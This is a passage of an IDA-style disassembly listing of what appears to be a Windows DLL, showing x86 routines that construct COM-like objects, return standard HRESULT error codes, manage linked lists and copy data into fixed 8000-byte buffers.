		lea	ecx, [ebp+var_4]
		push	ecx
		push	offset dword_69B2AFE0
		push	ebx
		call	dword ptr [eax]
		test	eax, eax
		mov	[ebp+arg_4], eax
		jl	loc_69B50C13
		push	[ebp+var_4]
		lea	eax, [esi+8]
		push	eax
		call	sub_69B17320
		mov	eax, [ebp+var_4]
		mov	dword ptr [esi], 2
		jmp	short loc_69B50C7A
; ---------------------------------------------------------------------------


loc_69B50CB2:				; CODE XREF: sub_69B50BB3+3Bj
		mov	[ebp+arg_4], 8007000Eh
		jmp	short loc_69B50CC2
; ---------------------------------------------------------------------------


loc_69B50CBB:				; CODE XREF: sub_69B50BB3+10j
					; sub_69B50BB3+19j
		mov	[ebp+arg_4], 80004003h


loc_69B50CC2:				; CODE XREF: sub_69B50BB3+9Bj
					; sub_69B50BB3+106j
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B50BB3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50CCC	proc near		; CODE XREF: sub_69B1C12C+2F92p
					; sub_69B5D45C+D1p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_69B50AC4
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		mov	dword ptr [ebx], offset	off_69B12794
		mov	dword ptr [ebx+4], offset off_69B282E8
		lea	edi, [ebx+1Ch]
		movsd
		movsd
		movsd
		movsd
		mov	[ebx+18h], eax
		mov	eax, [esp+0Ch+arg_4]
		test	eax, eax
		mov	[ebx+10h], eax
		jz	short loc_69B50D06
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B50D06:				; CODE XREF: sub_69B50CCC+32j
		mov	eax, [esp+0Ch+arg_8]
		pop	edi
		mov	[ebx+14h], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_69B50CCC	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50D15	proc near		; CODE XREF: sub_69B50D43+5Ep
					; sub_69B50E23+4Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	24h
		mov	esi, ecx
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B50D3D
		push	[esp+4+arg_4]
		mov	ecx, eax
		push	dword ptr [esi+18h]
		push	dword ptr [esi+14h]
		push	dword ptr [esi+10h]
		push	[esp+14h+arg_0]
		call	sub_69B50B70
		jmp	short loc_69B50D3F
; ---------------------------------------------------------------------------


loc_69B50D3D:				; CODE XREF: sub_69B50D15+Cj
		xor	eax, eax


loc_69B50D3F:				; CODE XREF: sub_69B50D15+26j
		pop	esi
		retn	8
sub_69B50D15	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50D43	proc near		; DATA XREF: .text:69B127A4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	ebx
		mov	ebx, [ebp+arg_8]
		test	ebx, ebx
		push	esi
		push	edi
		jz	short loc_69B50DB5
		and	dword ptr [ebx], 0
		mov	eax, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B0E0
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jnz	short loc_69B50D6F
		push	3
		jmp	short loc_69B50D9B
; ---------------------------------------------------------------------------


loc_69B50D6F:				; CODE XREF: sub_69B50D43+26j
		mov	edi, [ebp+arg_0]
		push	4
		add	edi, 1Ch
		pop	ecx
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B50D99
		push	4
		pop	ecx
		mov	edi, offset dword_69B2AFE0
		mov	esi, eax
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B50D99
		mov	[ebp+var_4], 80040200h
		jmp	short loc_69B50DBC
; ---------------------------------------------------------------------------


loc_69B50D99:				; CODE XREF: sub_69B50D43+3Bj
					; sub_69B50D43+4Bj
		push	2


loc_69B50D9B:				; CODE XREF: sub_69B50D43+2Aj
		pop	ecx
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	eax
		call	sub_69B50D15
		test	eax, eax
		mov	[ebx], eax
		jnz	short loc_69B50DBC
		mov	[ebp+var_4], 8007000Eh
		jmp	short loc_69B50DBC
; ---------------------------------------------------------------------------


loc_69B50DB5:				; CODE XREF: sub_69B50D43+10j
		mov	[ebp+var_4], 80004003h


loc_69B50DBC:				; CODE XREF: sub_69B50D43+54j
					; sub_69B50D43+67j ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B50D43	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50DC6	proc near		; CODE XREF: sub_69B50F55+29p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_69B50ADD
		mov	eax, [esp+0Ch+arg_4]
		and	dword ptr [ebx+3Ch], 0
		and	dword ptr [ebx+10h], 0
		test	eax, eax
		mov	dword ptr [ebx], offset	off_69B127A8
		mov	dword ptr [ebx+4], offset off_69B282EC
		jz	short loc_69B50DF6
		mov	[ebx+10h], eax
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]


loc_69B50DF6:				; CODE XREF: sub_69B50DC6+25j
		mov	dword ptr [ebx+24h], 3
		lea	edi, [ebx+14h]
		mov	esi, offset dword_69B2B0E0
		movsd
		movsd
		movsd
		movsd
		mov	esi, [esp+0Ch+arg_0]
		mov	dword ptr [ebx+38h], 2
		lea	edi, [ebx+28h]
		movsd
		movsd
		movsd
		movsd
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	8
sub_69B50DC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50E23	proc near		; DATA XREF: .text:69B127B4o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		xor	edi, edi
		cmp	ebx, edi
		mov	[ebp+var_4], edi
		jz	loc_69B50EBD
		xor	eax, eax
		inc	eax
		cmp	[ebp+arg_4], eax
		mov	[ebx], edi
		jnb	short loc_69B50E48
		mov	[ebp+var_4], eax
		jmp	short loc_69B50EC4
; ---------------------------------------------------------------------------


loc_69B50E48:				; CODE XREF: sub_69B50E23+1Ej
		cmp	[ebp+arg_4], edi
		jle	short loc_69B50E9D
		push	esi
		mov	esi, [ebp+arg_0]


loc_69B50E51:				; CODE XREF: sub_69B50E23+5Dj
		mov	eax, [esi+3Ch]
		add	eax, edi
		cmp	eax, 2
		jnb	short loc_69B50E9C
		mov	eax, [esi+3Ch]
		mov	ecx, [esi+10h]
		add	eax, edi
		lea	eax, [eax+eax*4]
		lea	eax, [esi+eax*4]
		push	dword ptr [eax+24h]
		add	eax, 14h
		push	eax
		call	sub_69B50D15
		test	eax, eax
		mov	[ebx+edi*4], eax
		jz	short loc_69B50E84
		inc	edi
		cmp	edi, [ebp+arg_4]
		jl	short loc_69B50E51
		jmp	short loc_69B50E9C
; ---------------------------------------------------------------------------


loc_69B50E84:				; CODE XREF: sub_69B50E23+57j
		dec	edi
		jmp	short loc_69B50E91
; ---------------------------------------------------------------------------


loc_69B50E87:				; CODE XREF: sub_69B50E23+70j
		mov	eax, [ebx+edi*4]
		mov	ecx, [eax]
		push	eax
		dec	edi
		call	dword ptr [ecx+8]


loc_69B50E91:				; CODE XREF: sub_69B50E23+62j
		test	edi, edi
		jg	short loc_69B50E87
		mov	[ebp+var_4], 8007000Eh


loc_69B50E9C:				; CODE XREF: sub_69B50E23+36j
					; sub_69B50E23+5Fj
		pop	esi


loc_69B50E9D:				; CODE XREF: sub_69B50E23+28j
		mov	eax, [ebp+arg_C]
		test	eax, eax
		jz	short loc_69B50EAF
		cmp	[ebp+var_4], 0
		jl	short loc_69B50EAF
		lea	ecx, [edi-1]
		mov	[eax], ecx


loc_69B50EAF:				; CODE XREF: sub_69B50E23+7Fj
					; sub_69B50E23+85j
		cmp	edi, [ebp+arg_4]
		jge	short loc_69B50EC4
		mov	[ebp+var_4], 1
		jmp	short loc_69B50EC4
; ---------------------------------------------------------------------------


loc_69B50EBD:				; CODE XREF: sub_69B50E23+10j
		mov	[ebp+var_4], 80004003h


loc_69B50EC4:				; CODE XREF: sub_69B50E23+23j
					; sub_69B50E23+8Fj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx
		leave
		retn	10h
sub_69B50E23	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50ECD	proc near		; CODE XREF: sub_69B3EF5A+34p
					; sub_69B50F99+1Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_69B50EEE
		push	edi


loc_69B50ED7:				; CODE XREF: sub_69B50ECD+1Ej
		mov	edi, esi
		mov	esi, [esi+10h]
		mov	ecx, edi
		call	sub_69B50B34
		push	edi
		call	sub_69B1B2B7
		test	esi, esi
		jnz	short loc_69B50ED7
		pop	edi


loc_69B50EEE:				; CODE XREF: sub_69B50ECD+7j
		pop	esi
		retn	4
sub_69B50ECD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50EF2	proc near		; DATA XREF: .text:69B1278Co

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	dword ptr [esi+18h] ; Target
		lea	ecx, [ebp+var_8]
		xor	edi, edi
		call	sub_69B508AA
		mov	eax, [esi+10h]
		jmp	short loc_69B50F1F
; ---------------------------------------------------------------------------


loc_69B50F0E:				; CODE XREF: sub_69B50EF2+2Fj
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_69B50F3D
		mov	edx, [ecx+14h]
		cmp	edx, [ebp+arg_4]
		jz	short loc_69B50F23
		lea	eax, [ecx+10h]


loc_69B50F1F:				; CODE XREF: sub_69B50EF2+1Aj
		test	eax, eax
		jnz	short loc_69B50F0E


loc_69B50F23:				; CODE XREF: sub_69B50EF2+28j
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_69B50F3D
		mov	ecx, [esi+10h]
		mov	[eax], ecx
		mov	ecx, esi
		call	sub_69B50B34
		push	esi
		call	sub_69B1B2B7
		jmp	short loc_69B50F42
; ---------------------------------------------------------------------------


loc_69B50F3D:				; CODE XREF: sub_69B50EF2+20j
					; sub_69B50EF2+35j
		mov	edi, 80040200h


loc_69B50F42:				; CODE XREF: sub_69B50EF2+49j
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	sub_69B18788
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn	8
sub_69B50EF2	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50F55	proc near		; DATA XREF: .text:69B127A0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		xor	edi, edi
		test	esi, esi
		jnz	short loc_69B50F68
		mov	eax, 80004003h
		jmp	short loc_69B50F94
; ---------------------------------------------------------------------------


loc_69B50F68:				; CODE XREF: sub_69B50F55+Aj
		push	40h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B50F85
		mov	edx, [esp+8+arg_0]
		push	edx
		add	edx, 1Ch
		push	edx
		mov	ecx, eax
		call	sub_69B50DC6
		jmp	short loc_69B50F87
; ---------------------------------------------------------------------------


loc_69B50F85:				; CODE XREF: sub_69B50F55+1Cj
		xor	eax, eax


loc_69B50F87:				; CODE XREF: sub_69B50F55+2Ej
		test	eax, eax
		mov	[esi], eax
		jnz	short loc_69B50F92
		mov	edi, 8007000Eh


loc_69B50F92:				; CODE XREF: sub_69B50F55+36j
		mov	eax, edi


loc_69B50F94:				; CODE XREF: sub_69B50F55+11j
		pop	edi
		pop	esi
		retn	8
sub_69B50F55	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B50F99	proc near		; CODE XREF: sub_69B510C4+3p
		push	esi
		mov	esi, ecx
		mov	eax, [esi+14h]
		mov	dword ptr [esi-4], offset off_69B127C4
		mov	dword ptr [esi], offset	off_69B282F0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]
		push	dword ptr [esi+0Ch]
		call	sub_69B50ECD
		pop	esi
		jmp	sub_69B2C65C
sub_69B50F99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B50FC0	proc near		; CODE XREF: sub_69B51071+3Dp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	dword ptr [ecx+1Ch] ; Target
		mov	esi, [ebp+arg_0]
		lea	ebx, [ecx+10h]
		lea	ecx, [ebp+var_C]
		mov	[ebp+arg_0], ebx
		call	sub_69B508AA
		test	esi, esi
		jz	short loc_69B5105D
		push	edi


loc_69B50FE5:				; CODE XREF: sub_69B50FC0+87j
		push	18h
		call	sub_69B11E44
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_69B50FFD
		mov	[eax+4], edi
		mov	[eax+8], edi
		mov	[eax+0Ch], edi
		mov	edi, eax


loc_69B50FFD:				; CODE XREF: sub_69B50FC0+30j
		test	edi, edi
		jz	short loc_69B5104B
		mov	[ebx], edi
		mov	eax, [esi]
		mov	[edi], eax
		mov	eax, [esi]
		dec	eax
		jz	short loc_69B5102E
		dec	eax
		jz	short loc_69B51020
		dec	eax
		jnz	short loc_69B5103A
		lea	eax, [esi+0Ch]
		push	eax
		lea	ecx, [edi+0Ch]
		call	sub_69B4D414
		jmp	short loc_69B5103A
; ---------------------------------------------------------------------------


loc_69B51020:				; CODE XREF: sub_69B50FC0+4Dj
		lea	eax, [esi+8]
		push	eax
		lea	ecx, [edi+8]
		call	sub_69B4D414
		jmp	short loc_69B5103A
; ---------------------------------------------------------------------------


loc_69B5102E:				; CODE XREF: sub_69B50FC0+4Aj
		lea	eax, [esi+4]
		push	eax
		lea	ecx, [edi+4]
		call	sub_69B4D414


loc_69B5103A:				; CODE XREF: sub_69B50FC0+50j
					; sub_69B50FC0+5Ej ...
		lea	eax, [edi+10h]
		and	dword ptr [eax], 0
		mov	esi, [esi+10h]
		test	esi, esi
		mov	ebx, eax
		jnz	short loc_69B50FE5
		jmp	short loc_69B5105C
; ---------------------------------------------------------------------------


loc_69B5104B:				; CODE XREF: sub_69B50FC0+3Fj
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		mov	[ebp+var_4], 8007000Eh
		call	sub_69B50ECD


loc_69B5105C:				; CODE XREF: sub_69B50FC0+89j
		pop	edi


loc_69B5105D:				; CODE XREF: sub_69B50FC0+22j
		push	[ebp+var_C]
		push	[ebp+var_8]
		call	sub_69B18788
		mov	eax, [ebp+var_4]
		pop	esi
		pop	ebx
		leave
		retn	4
sub_69B50FC0	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51071	proc near		; CODE XREF: sub_69B510E3+2Bp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		mov	ebx, ecx
		call	sub_69B50B08
		mov	esi, [esp+0Ch+arg_0]
		mov	eax, [esp+0Ch+arg_C]
		mov	dword ptr [ebx], offset	off_69B127C4
		mov	dword ptr [ebx+4], offset off_69B282F0
		lea	edi, [ebx+20h]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [esp+0Ch+arg_8]
		and	dword ptr [ebx+10h], 0
		mov	[ebx+1Ch], eax
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]
		push	[esp+0Ch+arg_4]
		mov	ecx, ebx
		call	sub_69B50FC0
		mov	eax, [ebx+10h]
		pop	edi
		mov	[ebx+18h], esi
		mov	[ebx+14h], eax
		pop	esi
		mov	eax, ebx
		pop	ebx
		retn	10h
sub_69B51071	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B510C4	proc near		; DATA XREF: .text:off_69B282F0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_69B50F99
		test	[esp+4+arg_0], 1
		jz	short loc_69B510DC
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B510DC:				; CODE XREF: sub_69B510C4+Dj
		lea	eax, [esi-4]
		pop	esi
		retn	4
sub_69B510C4	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B510E3	proc near		; DATA XREF: .text:69B12790o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_69B51126
		push	30h
		call	sub_69B11E44
		test	eax, eax
		jz	short loc_69B51115
		mov	edx, [esp+8+arg_0]
		push	dword ptr [edx+18h]
		mov	ecx, [edx+10h]
		push	dword ptr [edx+14h]
		push	dword ptr [ecx]
		mov	ecx, eax
		push	dword ptr [edx+1Ch]
		call	sub_69B51071
		jmp	short loc_69B51117
; ---------------------------------------------------------------------------


loc_69B51115:				; CODE XREF: sub_69B510E3+15j
		xor	eax, eax


loc_69B51117:				; CODE XREF: sub_69B510E3+30j
		test	eax, eax
		jnz	short loc_69B51122
		mov	eax, 8007000Eh
		jmp	short loc_69B5112D
; ---------------------------------------------------------------------------


loc_69B51122:				; CODE XREF: sub_69B510E3+36j
		mov	[esi], eax
		jmp	short loc_69B5112B
; ---------------------------------------------------------------------------


loc_69B51126:				; CODE XREF: sub_69B510E3+Aj
		mov	edi, 80004003h


loc_69B5112B:				; CODE XREF: sub_69B510E3+41j
		mov	eax, edi


loc_69B5112D:				; CODE XREF: sub_69B510E3+3Dj
		pop	edi
		pop	esi
		retn	8
sub_69B510E3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51132	proc near		; CODE XREF: sub_69B515E4+7Cp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		shr	edx, 0Ah
		xor	eax, eax
		cmp	[ecx+4], edx
		jnz	short locret_69B5114A
		cmp	[ecx+8], eax
		jnz	short locret_69B5114A
		cmp	[ecx], eax
		jnz	short locret_69B5114A
		inc	eax

locret_69B5114A:			; CODE XREF: sub_69B51132+Cj
					; sub_69B51132+11j ...
		retn	4
sub_69B51132	endp

; ---------------------------------------------------------------------------
		mov	eax, [ecx+8]
		mov	ecx, [esp+4]
		sub	eax, [ecx+8]
		neg	eax
		sbb	eax, eax
		inc	eax
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B5115F	proc near		; CODE XREF: sub_69B21A88+142p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_8]
		dec	eax
		js	short locret_69B5117E
		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		lea	edi, [eax+1]


loc_69B5116F:				; CODE XREF: sub_69B5115F+1Bj
		mov	ecx, esi
		call	[esp+8+arg_C]
		add	esi, [esp+8+arg_4]
		dec	edi
		jnz	short loc_69B5116F
		pop	edi
		pop	esi

locret_69B5117E:			; CODE XREF: sub_69B5115F+5j
		retn	10h
sub_69B5115F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B51181	proc near		; CODE XREF: sub_69B5150D+1Ep
					; sub_69B6A7F2+38p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+arg_4]
		imul	ecx, eax
		push	edi
		mov	edi, [ebp+arg_0]
		add	edi, ecx
		dec	eax
		js	short loc_69B511A6
		push	esi
		lea	esi, [eax+1]


loc_69B5119A:				; CODE XREF: sub_69B51181+22j
		sub	edi, [ebp+arg_4]
		mov	ecx, edi
		call	[ebp+arg_C]
		dec	esi
		jnz	short loc_69B5119A
		pop	esi


loc_69B511A6:				; CODE XREF: sub_69B51181+13j
		pop	edi
		pop	ebp
		retn	10h
sub_69B51181	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B511AB	proc near		; CODE XREF: sub_69B516F4+Bp
					; sub_69B519E0+1Dp

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		shr	edx, 0Ah
		add	ecx, 30h
		push	esi


loc_69B511B8:				; CODE XREF: sub_69B511AB+1Bj
		mov	esi, [ecx]
		cmp	[esi+4], edx
		jz	short loc_69B511CB
		inc	eax
		add	ecx, 4
		cmp	eax, 3
		jl	short loc_69B511B8
		or	eax, 0FFFFFFFFh


loc_69B511CB:				; CODE XREF: sub_69B511AB+12j
		pop	esi
		retn	4
sub_69B511AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B511CF	proc near		; CODE XREF: sub_69B517AA+7Fp
					; sub_69B519E0+EBp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jz	short loc_69B511DC
		inc	dword ptr [ecx+8]
		jmp	short loc_69B511DF
; ---------------------------------------------------------------------------


loc_69B511DC:				; CODE XREF: sub_69B511CF+6j
		dec	dword ptr [ecx+8]


loc_69B511DF:				; CODE XREF: sub_69B511CF+Bj
		mov	edx, [esp+arg_0]
		mov	[ecx+edx*4+0Ch], eax
		mov	eax, [ecx+8]
		retn	8
sub_69B511CF	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B511ED	proc near		; CODE XREF: sub_69B21A88+8Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		and	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+4], 4
		mov	dword ptr [eax+40h], 8
		mov	dword ptr [eax+38h], 0Ch
		retn	4
sub_69B511ED	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5120D	proc near		; CODE XREF: sub_69B51AD9+88p
					; sub_69B51AD9+B6p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, 1F40h
		sub	eax, edi
		cmp	eax, [esp+8+arg_8]
		mov	edx, ecx
		jle	short loc_69B51226
		mov	eax, [esp+8+arg_8]


loc_69B51226:				; CODE XREF: sub_69B5120D+13j
		mov	esi, [esp+8+arg_4]
		lea	edi, [edi+edx+0Ch]
		mov	ecx, eax
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn	0Ch
sub_69B5120D	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51243	proc near		; CODE XREF: sub_69B51CAF+4Fp
					; sub_69B51CAF:loc_69B51D41p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, 1F40h
		sub	eax, esi
		cmp	eax, [esp+4+arg_8]
		push	edi
		mov	edx, ecx
		jle	short loc_69B5125C
		mov	eax, [esp+8+arg_8]


loc_69B5125C:				; CODE XREF: sub_69B51243+13j
		mov	edi, [esp+8+arg_4]
		lea	esi, [esi+edx+0Ch]
		mov	ecx, eax
		mov	edx, ecx
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		retn	0Ch
sub_69B51243	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51279	proc near		; CODE XREF: sub_69B516F4+A1p
					; sub_69B519E0+6Ep

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B151E8
		push	0Ch
		mov	edi, eax
		call	sub_69B17EF3
		test	eax, eax
		jz	short loc_69B512A0
		mov	ecx, [esp+8+arg_0]
		shr	ecx, 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_69B21C60
		jmp	short loc_69B512A2
; ---------------------------------------------------------------------------


loc_69B512A0:				; CODE XREF: sub_69B51279+14j
		xor	eax, eax


loc_69B512A2:				; CODE XREF: sub_69B51279+25j
		mov	ecx, [esi+10h]
		push	edi
		push	eax
		call	sub_69B3182D
		mov	eax, edi
		pop	edi
		pop	esi
		retn	4
sub_69B51279	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B512B3	proc near		; CODE XREF: sub_69B51423+12p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		test	ecx, ecx
		jbe	short loc_69B51306
		cmp	ecx, [esi+48h]
		ja	short loc_69B51306
		and	dword ptr [eax+1F50h], 0FFFFFFFCh
		mov	ecx, [esi+1Ch]
		mov	edx, [ecx]
		push	ebx
		lea	ebx, [ebp+arg_0]
		push	ebx
		push	eax
		push	dword ptr [esi+24h]
		push	0
		push	ecx
		call	dword ptr [edx+14h]
		push	eax
		call	sub_69B8861E
		mov	esi, [esi+14h]
		mov	eax, [esi]
		push	0
		push	0
		push	0
		mov	ecx, ebx
		push	ecx
		push	1
		push	esi
		call	dword ptr [eax+18h]
		push	eax
		call	sub_69B8861E
		pop	ebx
		jmp	short loc_69B51310
; ---------------------------------------------------------------------------


loc_69B51306:				; CODE XREF: sub_69B512B3+Ej
					; sub_69B512B3+13j
		push	80004005h
		call	sub_69B2E8B8


loc_69B51310:				; CODE XREF: sub_69B512B3+51j
		pop	esi
		pop	ebp
		retn	4
sub_69B512B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B51315	proc near		; CODE XREF: sub_69B51423:loc_69B5143Cp
		push	18h
		push	offset dword_69B51400
		call	sub_69B19C5C
		mov	esi, ecx
		mov	[ebp-1Ch], esi
		xor	edi, edi
		mov	[ebp-20h], edi
		lea	eax, [ebp-20h]
		mov	[ebp-24h], eax
		mov	ebx, [ebp+8]
		mov	eax, [ebx+4]
		cmp	eax, edi
		jbe	loc_69B513EC
		cmp	eax, [esi+48h]
		ja	loc_69B513EC
		mov	[ebp-4], edi
		mov	eax, [esi+18h]
		mov	ecx, [eax]
		push	10h
		push	edi
		push	edi
		push	ebx
		push	1
		push	dword ptr [esi+28h]
		push	eax
		call	dword ptr [ecx+14h]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi+14h]
		mov	ecx, [eax]
		lea	edx, [ebp-24h]
		push	edx
		lea	edx, [ebp-28h]
		push	edx
		push	1
		push	edi
		push	edi
		push	eax
		call	dword ptr [ecx+14h]
		push	eax
		call	sub_69B8861E
		mov	eax, [esi+1Ch]
		mov	ecx, [eax]
		push	ebx
		push	dword ptr [esi+24h]
		push	dword ptr [ebp-20h]
		push	eax
		call	dword ptr [ecx+10h]
		push	eax
		call	sub_69B8861E
		and	dword ptr [ebx+1F50h], 0FFFFFFFEh
		mov	esi, [esi+14h]
		mov	eax, [esi]
		push	edi
		push	edi
		push	edi
		lea	ecx, [ebp-20h]
		push	ecx
		push	1
		push	esi
		call	dword ptr [eax+18h]
		push	eax
		call	sub_69B8861E
		mov	[ebp-20h], edi


loc_69B513B7:				; CODE XREF: sub_69B51315+D5j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_69B513F6
; ---------------------------------------------------------------------------


loc_69B513BD:				; DATA XREF: .text:69B51404o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B513C6:				; DATA XREF: .text:69B51408o
		mov	esp, [ebp-18h]
		xor	edi, edi
		cmp	[ebp-20h], edi
		jz	short loc_69B513E5
		mov	eax, [ebp-1Ch]
		mov	eax, [eax+14h]
		mov	ecx, [eax]
		push	edi
		push	edi
		push	edi
		lea	edx, [ebp-20h]
		push	edx
		push	1
		push	eax
		call	dword ptr [ecx+18h]


loc_69B513E5:				; CODE XREF: sub_69B51315+B9j
		call	sub_69B2E860
		jmp	short loc_69B513B7
; ---------------------------------------------------------------------------


loc_69B513EC:				; CODE XREF: sub_69B51315+24j
					; sub_69B51315+2Dj
		push	80004005h
		call	sub_69B2E8B8


loc_69B513F6:				; CODE XREF: sub_69B51315+A6j
		call	sub_69B1853C
		retn	4
sub_69B51315	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h
dword_69B51400	dd 0FFFFFFFFh			dd offset loc_69B513BD
		dd offset loc_69B513C6
; ---------------------------------------------------------------------------


loc_69B5140C:				; DATA XREF: sub_69B21A88+135o
		mov	eax, ecx
		and	dword ptr [eax+1F4Ch], 0
		retn
; ---------------------------------------------------------------------------


loc_69B51416:				; DATA XREF: sub_69B5150D+Eo
		add	ecx, 1F4Ch
		push	ecx
		call	sub_69B17230
		retn

; =============== S U B	R O U T	I N E =======================================



sub_69B51423	proc near		; CODE XREF: sub_69B516F4+28p
					; sub_69B51AD9+E0p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax+1F50h]
		shr	edx, 1
		test	dl, 1
		push	eax
		jz	short loc_69B5143C
		call	sub_69B512B3
		jmp	short locret_69B51441
; ---------------------------------------------------------------------------


loc_69B5143C:				; CODE XREF: sub_69B51423+10j
		call	sub_69B51315

locret_69B51441:			; CODE XREF: sub_69B51423+17j
		retn	4
